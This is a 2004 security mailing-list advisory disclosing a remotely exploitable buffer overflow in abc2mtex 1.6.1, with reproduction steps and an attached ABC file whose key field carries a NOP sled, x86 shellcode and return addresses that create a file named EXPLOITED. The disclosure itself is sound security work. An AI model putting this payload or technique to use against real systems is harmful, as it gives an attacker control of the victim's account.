Mailing-List: contact securesoftware-help@list.cr.yp.to; run by ezmlm
Delivered-To: mailing list securesoftware@list.cr.yp.to
Received: (qmail 63191 invoked by uid 1017); 15 Dec 2004 08:35:50 -0000
Date: 15 Dec 2004 08:35:50 -0000
Message-ID: <20041215083550.63190.qmail@cr.yp.to>
Mail-Followup-To: securesoftware@list.cr.yp.to,
  C.Walshaw@gre.ac.uk
Automatic-Legal-Notices: See http://cr.yp.to/mailcopyright.html.
From: "D. J. Bernstein" <djb@cr.yp.to>
To: securesoftware@list.cr.yp.to, C.Walshaw@gre.ac.uk
Subject: [remote] [control] abc2mtex 1.6.1 process_abc overflows key buffer
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Qxx1br4bt0+wmkIi"
Content-Disposition: inline


--Qxx1br4bt0+wmkIi
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Limin Wang, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in abc2mtex. I'm
publishing this notice, but all the discovery credits should be assigned
to Wang.

You are at risk if you take an ABC file from an email message (or a web
page or any other source that could be controlled by an attacker) and
feed that document through abc2mtex. Whoever provides the ABC file then
has complete control over your account: she can read and modify your
files, watch the programs you're running, etc.

The abc2mtex documentation does not tell users to avoid taking input
from the network. Many web pages offer ABC files for public consumption.

Proof of concept: On an x86 computer running FreeBSD 4.10, type

   mkdir abc2mtex
   cd abc2mtex
   wget ftp://ftp.funet.fi/pub/TeX/CTAN/support/abc2mtex/abc2mtex1.6.1.tar.gz
   gunzip < abc2mtex1.6.1.tar.gz | tar -xf -
   make

to download and compile the abc2mtex program, version 1.6.1 (current).
Then change your environment so that the total environment size, as
reported by printenv|wc -c, is exactly 500; this particular
proof-of-concept attack allows only a very small range of environment
sizes. Then save the file 79.abc attached to this message, and type

   ./abc2mtex 79.abc

with the unauthorized result that a file named EXPLOITED is created in
the current directory.

Here's the bug: In abc.c, process_abc() uses strcat() to copy data from
entry->KEY into a 99-byte key[] array; entry->KEY is read by getsIn(),
which allows up to 999 bytes of data.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

--Qxx1br4bt0+wmkIi
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="79.abc"
Content-Transfer-Encoding: quoted-printable

X:1
T:foo
K:BbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=EB6Y=90=90=90=90=90=90=
=90=90=90=901=C0=89A	1=C0=83=C0=03=C1=E0=07P=B8=124V=02=C1=E8=18=C1=E0=08PQ=
1=C0=B0=05P=CD=801=C0P=83=C0=01P=CD=80=E8=C5=FF=FF=FFEXPLOITEDNOPQRSTUVWXYZ=
ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVW=
XY=08=E3=BF=BF=08=E3=BF=BF=08=E3=BF=BF=D0=E3=BF=BF=D0=E3=BF=BF=D0=E3=BF=BF=
=FC=EB=BF=BF=FC=EB=BF=BF=FC=EB=BF=BFZ=EC=BF=BFZ=E2=BF=BF=8C=E2=BF=BF=FC=EB=
=BF=BF=FC=EB=BF=BF=FC=EB=BF=BF=FC=EB=BF=BF=FC=EB=BF=BF(=EC=BF=BF=8C=E2=BF=
=BF=FC=EB=BF=BF=FC=EB=BF=BF=FC=EB=BF=BF=FC=EB=BF=BF=FC=EB=BF=BF=FC=EB=BF=BF=
=FC=EB=BF=BF=FC=EB=BF=BF=FC=EB=BF=BFX=EC=BF=BF=FC=EB=BF=BF=FC=EB=BF=BF
M:4/4

--Qxx1br4bt0+wmkIi--